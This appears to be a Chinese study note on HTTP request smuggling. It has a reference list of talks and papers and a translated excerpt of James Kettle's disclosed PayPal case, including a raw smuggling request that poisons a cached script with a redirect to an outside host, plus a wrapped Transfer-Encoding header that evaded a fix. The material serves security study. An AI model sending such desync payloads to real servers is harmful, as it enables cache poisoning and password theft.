- 参考
- 2015-WatchFire - 《Microsoft Word - HTTP Request Smuggling WP - FINAL.doc》">2015-WatchFire - 《Microsoft Word - HTTP Request Smuggling WP - FINAL.doc》
- Hiding Wookiees in HTTP">2016-DEFCON 24@regilero - Hiding Wookiees in HTTP
- James Kettle - HTTP Desync Attacks: Smashing into the Cell Next Door">2019-BlackHat USA 2019@James Kettle - HTTP Desync Attacks: Smashing into the Cell Next Door
- James Kettle - HTTP Desync Attacks: Request Smuggling Reborn">【详细分析内容】19.08.07-James Kettle - HTTP Desync Attacks: Request Smuggling Reborn
- 19.09.17-Regilero - Security: HTTP Smuggling, Apache Traffic Server">19.09.17-Regilero - Security: HTTP Smuggling, Apache Traffic Server
- 协议层的攻击:HTTP请求走私">19.10.10-mengchen@知道创宇404实验室 - 协议层的攻击:HTTP请求走私
- 一篇文章带你读懂 HTTP Smuggling 攻击">19.12.05-zeddyu - 一篇文章带你读懂 HTTP Smuggling 攻击
参考
2015-WatchFire - 《Microsoft Word - HTTP Request Smuggling WP - FINAL.doc》
2016-DEFCON 24@regilero - Hiding Wookiees in HTTP
2019-BlackHat USA 2019@James Kettle - HTTP Desync Attacks: Smashing into the Cell Next Door
- Download Presentation Slides
- Download White Paper
-
【详细分析内容】19.08.07-James Kettle - HTTP Desync Attacks: Request Smuggling Reborn
相关链接
portswigger - HTTP 请求走私
- HTTP 异步攻击:接下来发生
- 打破 HTTP 请求走私者的链条
- 看不懂😭
- HTTP/2:续集总是更糟
技术内容
通过将请求走私链接到缓存中毒,我能够持续劫持大量 JavaScript 文件。其中之一是在 PayPal 的登录页面上使用的:https ://c.paypal.com/webstatic/r/fb/fb-all-prod.pp2.min.js: ```http POST /webstatic/r/fb/fb-all-prod.pp2.min.js HTTP/1.1 Host: c.paypal.com Content-Length: 61 Transfer-Encoding: chunked
0
GET /webstatic HTTP/1.1 Host: skeletonscribe.net? X: XGET /webstatic/r/fb/fb-all-prod.pp2.min.js HTTP/1.1 Host: c.paypal.com Connection: close
HTTP/1.1 302 Found Location: http://skeletonscribe.net?, c.paypal.com/webstatic/
但是,有一个问题 - PayPal 的登录页面使用了带有script-src的[内容安全策略](https://portswigger.net/web-security/cross-site-scripting/content-security-policy),它杀死了我的重定向:<br />![](https://cdn.nlark.com/yuque/0/2022/svg/1632223/1658068387372-af4068fd-ea82-4a5c-aabf-0aed4dcb3171.svg#clientId=u4d7a9b4c-3490-4&crop=0&crop=0&crop=1&crop=1&from=paste&id=ua9266663&margin=%5Bobject%20Object%5D&originHeight=191&originWidth=960&originalType=url&ratio=1&rotation=0&showTitle=false&status=done&style=none&taskId=u40829171-2c0e-487a-8b61-c3f26d68d31&title=)<br />这最初看起来像是纵深防御的胜利。但是,我注意到登录页面在动态生成的 iframe 中加载了 c.paypal.com 上的子页面。这个子页面没有使用[CSP](https://portswigger.net/web-security/cross-site-scripting/content-security-policy),还导入了我们中毒的 JS 文件。这使我们可以完全控制 iframe 的内容,但由于**同源策略**,我们仍然无法从父页面读取用户的 PayPal 密码:<br />![](https://cdn.nlark.com/yuque/0/2022/svg/1632223/1658068387323-eb988f51-7757-4383-9121-dcc2c068a370.svg#clientId=u4d7a9b4c-3490-4&crop=0&crop=0&crop=1&crop=1&from=paste&id=u8cdc1f9a&margin=%5Bobject%20Object%5D&originHeight=373&originWidth=960&originalType=url&ratio=1&rotation=0&showTitle=false&status=done&style=none&taskId=u43b11590-9d6b-4147-aa6d-380b00979b5&title=)<br /> 然后我的同事 Gareth Heyes 在 paypal.com/us/gifts 上发现了一个没有使用 CSP 的页面,并且还导入了我们中毒的 JS 文件。通过使用我们的 JS 将 c.paypal.com iframe 重定向到该 URL(并第三次触发我们的 JS 导入),我们最终可以访问父级并从使用 Safari 或 IE 登录的每个人那里窃取明文 PayPal 密码:<br />![](https://cdn.nlark.com/yuque/0/2022/svg/1632223/1658068387562-77cb64d0-78b5-4967-817a-382c459c18c6.svg#clientId=u4d7a9b4c-3490-4&crop=0&crop=0&crop=1&crop=1&from=paste&id=u8ba707f6&margin=%5Bobject%20Object%5D&originHeight=441&originWidth=960&originalType=url&ratio=1&rotation=0&showTitle=false&status=done&style=none&taskId=ub003e792-d617-44ee-908a-bce1ff53214&title=)<br /> PayPal 通过将 Akamai 配置为拒绝包含Transfer-Encoding: 分块标头的请求,迅速解决了这个漏洞,并获得了 18,900 美元的奖金。<br />几周后,在发明和测试一些新的去同步技术时,我决定尝试使用换行的标题:
```http
Transfer-Encoding:
chunked
这似乎使 Transfer-Encoding 标头对 Akamai 完全不可见,Akamai 让它通过并再次授予我对 PayPal 登录页面的控制权。PayPal 迅速应用了更强大的修复程序,并获得了令人印象深刻的 20,000 美元。两份报告的摘要已公开披露,并附有 PayPal 的声明。